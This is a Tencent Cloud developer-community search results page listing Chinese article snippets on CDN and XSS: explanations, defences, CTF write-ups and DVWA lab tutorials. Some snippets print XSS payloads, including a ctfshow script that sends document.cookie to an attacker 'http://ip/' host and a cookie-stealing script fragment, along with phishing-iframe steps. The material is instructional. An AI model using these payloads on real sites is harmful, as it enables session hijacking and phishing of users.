- 综合排序
- 最热优先
- 最新优先
- 来自专栏Java3y
浅谈CDN、SEO、XSS、CSRF
CDN 什么是CDN 初学Web开发的时候，多多少少都会听过这个名词->CDN。 CDN在我没接触之前，它给我的印象是用来优化网络请求的，我第一次用到CDN的时候是在找JS文件时。 那么我讲了一大堆，CDN到底是什么？ CDN的全称是Content Delivery Network，即内容分发网络。 为什么要使用CDN？ CDN主要用于存储JS、CSS文件，能够加快我们获取JS、CSS的内容 参考资料： 知乎问题：CDN是什么？使用CDN有什么优势？ XSS是一种经常出现在web应用中的计算机安全漏洞，也是web中最主流的攻击方式。那么什么是XSS呢？ 参考资料： 慕课网：Web安全-XSS XSS跨站脚本攻击 XSS实战：我是如何拿下你的百度账号 揭秘——黑客是如何使用xss的 XSS攻击是什么，怎么秒杀iphone钓鱼站 CSRF 什么是CSRF
2.5K61发布于 2018-03-15 - 来自专栏web安全
SRC 实战|对象存储content-type覆盖导致的cdn域名存储型 XSS
真正容易漏掉的是后半段：文件已经进了对象存储，之后用户访问的往往是一个公开URL，例如：https://cdn.target.com/uploads/avatar123.png这个请求可能不再经过业务后端 这个问题成立有一个关键前提：上传文件需要能在目标自己的域名下被访问，比如cdn.target.com或target.com/uploads/。如果只是落在一个无关的存储域名上，影响通常会小很多。 如果上传内容里藏了可执行的HTML/JS片段，并且它能绕过上传阶段的文件检查，就可能形成存储型XSS。 接下来再结合上传点、文件内容和目标域名判断是否能形成有效XSS。4.S3场景：匿名请求会被拦，但不代表没戏AWSS3也支持类似的响应头覆盖参数，但匿名GET请求不能直接使用。 不要只在上传接口做校验，也要检查CDN、反代、对象存储的读取行为。
6910编辑于 2026-07-01 - 来自专栏农夫安全
XSS姿势——文件上传XSS
0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点，你有很多机会找到相关漏洞。如果碰巧是一个self XSS，你可以看看这篇文章。 姿势一：文件名方式 文件名本身可能会反映在页面所以一个带有XSS命名的文件便可以起到攻击作用。 ? 虽然我没有准备靶场，但是你可以选择在W3Schools练习这种XSS 。 姿势三：Content 如果应用允许上传SVG格式的文件（其实就是一个图像类型的），那么带有以下content的文件可以被用来触发XSS： 一个 PoC用来验证。 但是他们之间，还有一个被标注的XSS变量用来防止图片被恢复为text/HTML MIME文件类型，因此只需发送一个对这个文件的请求payload 就可以被执行。 也有很多比较详细的使用XSS和图像文件相结合绕过图形处理函数库过滤的例子。
4.1K20发布于 2018-07-26 - 来自专栏m0w3n
XSS
一、XSS简介 什么是XSS XSS全称（Cross Site Scripting）跨站脚本攻击，是最常见的web应用程序安全漏洞之一，位于OWASP top 10 2013年度第三名，XSS是指攻击者在网页中嵌入客户端脚本 而如今的互联网客户端脚本基本上是基于JavaScript，所以如果想要深入研究xss，必须要精通JavaScript。 xss换句话说，JavaScript能够到什么效果，xss的胃里就有多大。 如何挖掘xss 寻找脚本程序的输出显示代码，搜索关键字，显示输出那个变量，跟踪变量是否过滤。 二、xss的类型 （一）反射型xss或不持久型xss 实例1 <? 实例2 在线xss跨站网站：https://public-firing-range.appspot.com/ （二）存储型xss或持久型xss 实例1 与反射型xss相比，唯一的区别就是xss代码被带入数据 此时xss脚本已经存入数据库 ? 实例2 新建一个xss/index.php文件： <!
2.2K10发布于 2020-02-28 - 来自专栏张家辉的树屋
了解 xss 和 防御 xss
什么是xss？ //使用“\”对特殊字符进行转义，除数字字母之外，小于127使用16进制“\xHH”的方式进行编码，大于用unicode（非常严格模式）。 复制代码 Test 代码 测试JavaScriptEncode值 <script>alert('1哈哈' /);</script> 参考： HtmlEncode和JavaScriptEncode（预防XSS ） XSS攻击的解决方法
87230发布于 2021-02-02 - 来自专栏河湾欢儿的专栏
XSS
有人将XSS攻击分为三种，分别是： Reflected XSS（基于反射的XSS攻击） Stored XSS（基于存储的XSS攻击） DOM-based or local XSS（基于DOM或本地的XSS 攻击） Reflected XSS 基于反射的XSS攻击，主要依靠站点服务端返回脚本，在客户端触发执行从而发起Web攻击。 cookie='+document.cookie</script> ```Stored XSS 基于存储的XSS攻击，是通过发表带有恶意跨域脚本的帖子/文章，从而把恶意脚本存储在服务器，每个访问该帖子 #DOM-based or local XSS 基于DOM或本地的XSS攻击。 这种直接存在于页面，无须经过服务器返回就是基于本地的XSS攻击。 例子： 1. 提供一个免费的wifi。 1.
1.8K10发布于 2018-09-06 - 来自专栏CloudBest
CDN：什么是边缘CDN和虚拟CDN（vCDN）？
为了克服当前CDN功能的限制并满足未来需求，出现了两个关键趋势：边缘CDN和虚拟CDN（vCDN）。 内容提供商希望在边缘建立虚拟化CDN功能 ? 边缘CDN 边缘CDN导致CDN服务器的分布更大。如今，大多数CDN功能都发生在IXP上，但是这些功能正越来越多地转移到移动网络的边缘站点。 vCDN vCDN 是虚拟化的CDN软件应用程序，可以在专有，裸机，虚拟化或基于容器的基础架构或电信MEC平台上 运行CDN工作负载 。以前，CDN软件平台与底层硬件紧密结合在一起，使其变得不灵活。 ，但是某些提供商将更喜欢专有（v）CDN模型，其中虚拟化的软件平台在CDN提供商的专用硬件上运行CDN工作负载，或者在裸机硬件上运行CDN功能没有虚拟化层。 他们可能拥有自己的CDN，以优化其内容质量，但并不试图从其CDN服务中获得直接收益。 ? 这些业务模式将如何在边缘发生变化，并允许移动运营商通过CDN获利？ ? 这些业务模型也将存在于边缘。
21.9K30发布于 2021-04-20 - 来自专栏云服务器购买
cdn-腾讯云cdn
目前主要的CDN调度方式依旧是依赖DNS地址进行就近分配节点，但是由于中国的复杂网络情况以及运营商IP库以及出口的不规范，经常存在调度失误的现象。 腾讯云CDN调度系统可以对节点服务器状态及数以亿计真实腾讯终端用户连接时延情况进行汇总运算，绘制出“全网阻塞地图”，进而给出高可用的节点信息 腾讯云cdn详情点击查看 精选优质节点，全面覆盖各运营商，持续优化 腾讯云cdn网页加速示意图 image.png 腾讯云cdn调度系统示意图 image.png 腾讯云cdn,900+节点覆盖 全球覆盖 800+国内节点，100+海外节点，超过70T资源储备 1Billion 终端 精准调度 依托数亿客户终端，绘制全网络阻塞地图，实现精准调度 30%↑ 极限性能 腾讯云自研缓存组件，较成熟开源解决方案提升缓存性能30% 5min 快速启用 AI域名智能审核让您从注册CDN到开通域名服务只需
31.7K20发布于 2019-08-05 - 来自专栏网络安全【故里】
xss
ctfshow里面的xss刷题记录(有xss弹窗，建议若要点开请先关闭浏览器弹窗授权) web316 这道题先测试一下 图片 存在xss漏洞，毕竟是第一题，应该没有任何过滤，直接打cookie即可！ XSS平台在这个平台里面 记录可用的姿势： img <script> var img=document.createElement("img"); img.src="http://ip/"+document.cookie 过滤img，用xss平台的实体十六进制编码 <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。 web327 储存型xss 图片 还用上一题的方法还是可！ 图片 web328 图片 先注册一个用户 图片 盗取到cookie！ ]XSS入门(佛系记录)_Y4tacker的博客-CSDN博客_ctfshow web入门xss
1.4K30编辑于 2023-04-16 - 来自专栏SDNLAB
CDN：什么是边缘CDN和虚拟CDN（vCDN）？
边缘CDN和vCDN如何解决这些限制？ 为了克服现有CDN功能的局限性并满足未来的需求，出现了两个关键的趋势：边缘CDN和虚拟CDN（vCDN）。 ? 边缘CDN 边缘CDN使得CDN服务器的分布更广。今天，大多数CDN功能都是在IXP上实现的，但是这些功能正越来越多地转移到移动网络的边缘节点。 尽管大多数边缘CDN的部署都将被虚拟化并在开放、共享的基础设施上运行，但是某些提供商更喜欢专有的vCDN模型，其中虚拟化的软件平台可以在CDN提供商的专用硬件上运行CDN工作负载，或者在裸机硬件上运行CDN 大型内容提供商也可以采用这种模式，他们可能拥有自己的CDN来优化内容质量，但并不从其CDN服务中获得直接收益。 这些商业模式将如何在边缘发生变化，并使移动运营商能够通过CDN获利？ 原文链接： https://stlpartners.com/edge-computing/cdn-what-is-edge-cdn-and-virtual-cdn-vcdn/ 责任编辑：边小白
13.9K40发布于 2021-02-08 - 来自专栏字节脉搏实验室
XSS模拟实战训练【XSS Challenges平台】
文章源自【字节脉搏社区】-字节脉搏实验室 作者-whit 先放上网址：http://xss-quiz.int21h.jp 这是一个模仿真实xss挖洞的情景，在XSS Challenges练习过程中，我们需要用浏览器中的 百度style XSS，搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码) 我在ie下试了很久都不能复现，又百度，发现还有一种利用方法 background:url(javascript :alert('xss')); 还是不能复现，只能归结为ie版本太高的问题了。
1.7K20发布于 2020-03-08 - 来自专栏全栈程序员必看
XSS漏洞介绍及反射型XSS
什么是XSS攻击： XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。 XSS分类： 类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。 当用户打开此含有XSS漏洞的页面，脚本运行。 XSS漏洞形成原因： 介绍完了XSS漏洞的基本含义。作为测试漏洞是否存在的一方，当然要知道如何去寻找漏洞。 1。首先寻找漏洞输入点，一般在客户端界面显示为留言板或查询接口等。 2。 则从XSS漏洞的发现到利用XSS反射型漏洞的大致过程就大体地演示完成。
2.3K20编辑于 2022-08-23 - 来自专栏一名白帽的成长史
【XSS漏洞】浅析XSS脚本注入点
Hello，各位小伙伴，依旧是晚上好~~ 今天跟大家分享的课题是，当我们进行XSS脚本注入时，在不同的注入点进行注入，会产生不同的结果，那么这到底是为什么呢？
3.4K20发布于 2019-10-08 - 来自专栏一名白帽的成长史
【XSS漏洞】利用XSS进行网页钓鱼
利用XSS漏洞，我们可以在网页中插入恶意js代码，通过js代码，我们可以干很多事情，例如伪造一个登陆页面。 Part.4 插入恶意js脚本 插入恶意js脚本 Web页面以DVWA平台 存储型XSS为例，我们来插入一个恶意JS代码，代码构造如下： ? 通过插入iframe标签，让用户访问XSS漏洞页面时，自动访问攻击者服务器上的钓鱼页面fish.php，出现登陆弹窗。 选择low安全等级，打开dvwa XSS(stored)页面 ： ? 在Name栏、Message栏均存在存储型XSS，在Message中输入上面的恶意代码，并提交，会发现有输入长度限制： ? Part.5 模拟用户访问 攻击流程 现在我们使用靶机来模拟一次攻击行为，使用用户主机访问low安全等级的dvwa XSS(stored)页面，因为impossible安全等级不存在XSS漏洞。
5.1K20发布于 2019-10-08 - 来自专栏Gcow安全团队
XSS模拟实战训练【XSS Challenges平台】
文章源自【字节脉搏社区】-字节脉搏实验室 作者-whit 先放上网址：http://xss-quiz.int21h.jp 这是一个模仿真实xss挖洞的情景，在XSS Challenges练习过程中，我们需要用浏览器中的 百度style XSS，搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码) 我在ie下试了很久都不能复现，又百度，发现还有一种利用方法 background:url(javascript :alert('xss')); 还是不能复现，只能归结为ie版本太高的问题了。
1.7K20发布于 2020-03-06 - 来自专栏啄木鸟软件测试
XSS注入
XSS注入分类 XSS注入可以分为三类，“反射型XSS”“存储型XSS”和“DOM型XSS”。 1）反射型XSS（Non-Persistent XSS） 反射型XSS只是简单地把用户输入的数据反射给浏览器，黑客需要诱使用户点击链接。 反射型XSS也叫“非持久型XSS” 上一节中的注入就属于反射型XSS。 2）存储型XSS（Persistent XSS） 存储型XSS把用户输入的数据“存储”在服务器或客户端。 XSS会话挟持 如果将上面XSS PayLoad的alert(/XSS/)改为alert(document.cookie)，看看会发现什么样的情况。代码如下。 XSS蠕虫 XSS蠕虫是一种危害最大的XSS注入PayLoad，通过AJAX技术使成千上万的网民中招，曾经在百度等各大网站上都发生过。如图2所示。 ?
2.7K31发布于 2020-06-01 - 来自专栏我的博客
xss攻击
xss攻击简介： XSS攻击：跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。 攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
1.4K60发布于 2018-05-07 - 来自专栏coding个人笔记
XSS攻击
XSS叫做跨站脚本攻击，在很早之前这种攻击很常见，2010年数据统计的时候还是排名第二的web安全威胁。在从事前端之后，还没有见过哪个网站会被XSS攻击过，当然，也从来没去各个网站尝试过。 XSS可以分为三种类型： 反射型XSS（也叫非持久型）：有些网页是通过地址传参，然后又把参数传递到页面，这种情况下，通过参数传递<script>... DOM XSS：通过一些不同场景，改变DOM的属性，注入<script>... 存储型XSS（也叫持久型）：通过一些评论或者文章，发布之后存储到服务器，不同用户请求回来的都是这种脚本，这种攻击会一直存在，有很强的稳定性，因为是记录在数据库里面。 其实XSS攻击就是通过执行js代码，当然，通过什么方法注入到你的页面或者你触发这些方法就不一定了。觉着这个攻击了解了解就够了，到现在还没遇见需要对XSS进行处理的项目。 （完）
1.3K20发布于 2020-04-23 - 来自专栏cultureSun学安全
XSS练习
推荐一个XSS在线练习小网站，一共13关。 https://xss.haozi.me 以下是题解 0x00 <script>alert(1);</script> 0x01 </textarea><script>alert(1);</script
1.1K31编辑于 2023-05-18 - 来自专栏一名白帽的成长史
【XSS】利用XSS窃取用户Cookie
Hello，各位小伙伴周六愉快 晃眼之间一周又快要过去了，时间是不等人 今天我们来看看怎么利用XSS窃取用户cookie吧。 Part.1 概述 实验概述 实验拓扑： ? XSS的用途之一就是窃取用户的cookie，攻击者利用XSS在网页中插入恶意脚本，一旦用户访问该网页，cookie就会自动地发送到攻击者的服务器中去。 Part.3 利用XSS盗取Cookie XSS利用 web页面以DVWA平台 存储型XSS为例，我们来插入一个恶意JS代码。 构造如下js代码： ? 选择low安全等级，打开dvwa XSS(stored)页面 ： ? 在Name栏、Message栏均存在存储型XSS，在Message中输入上面的恶意代码，并提交，会发现有输入长度限制： ?
7.1K42发布于 2019-10-08
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号